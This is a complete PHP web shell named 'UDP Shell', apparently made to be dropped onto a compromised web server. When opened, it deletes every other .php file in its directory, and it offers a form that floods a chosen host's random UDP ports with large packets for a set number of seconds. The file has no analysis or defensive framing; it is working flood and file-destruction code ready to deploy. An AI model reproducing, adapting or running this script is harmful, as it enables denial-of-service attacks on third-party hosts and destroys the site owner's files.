UDP Shell

<?php
@chmod(__FILE__, 0055);
ignore_user_abort(TRUE);
set_time_limit(0);
$files = scandir(getcwd());
foreach ($files as $file){
    if ($file != basename(__FILE__) && strpos($file, '.php') != false) {
        @chmod($file, 0777);
                unlink($file);
    }
}
$top = "<html><head><title>UDP Shell!</title><style>body {margin:0;padding:0;background-color: #000;color:#0000FF;font-family: Tahoma;font-size:small;}input, button{background-color: #0000FF;padding:2px;margin-top:3px; color:#fff;font-family: Tahoma;border: 1px solid #555;font-size: 11px;text-align: center;font-style: bold;border-radius: 4px;}#submt{margin-top: 20px;cursor:pointer;}#xxx{font-size: 15px;}</style></head><body><center><br />UDP Shell!<br />";
$output = "";
$form = '<form action="" method="GET"><input type="hidden" name="act" value="phptools">Host:<br /><input type="text" name="host"><br /><a style="color:#000;font-size:1%;">UDP</a><br />Length (seconds):<br /><input type="text" name="time"><br /><input type="submit" id="submt" value="    Send    "></form>';
$Foot = "</center></body></html>";
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    $out = "";
    $time = time();
    for($i=0;$i<65000;$i++){$out .= 'X';}
    while(true){
        $packets++;
        if(time() > $time+$_GET['time']){break;}
        $rand = rand(1,65000);
        $_GET['port'] =$rand;
        if($fp = fsockopen('udp://'.$_GET['host'], $rand, $errno, $errstr, 5)){fwrite($fp, $out);fclose($fp);}
    }
    $output = "<br /><br />UDP Flood: Completed with ".$packets." (".round(($packets*69)/1024, 2)." MB) packets averaging ".round($packets/$_GET['time']*107, 2)." packets per second<br /><br />";
}
echo $top;echo $output;echo $form;echo $Foot;
?>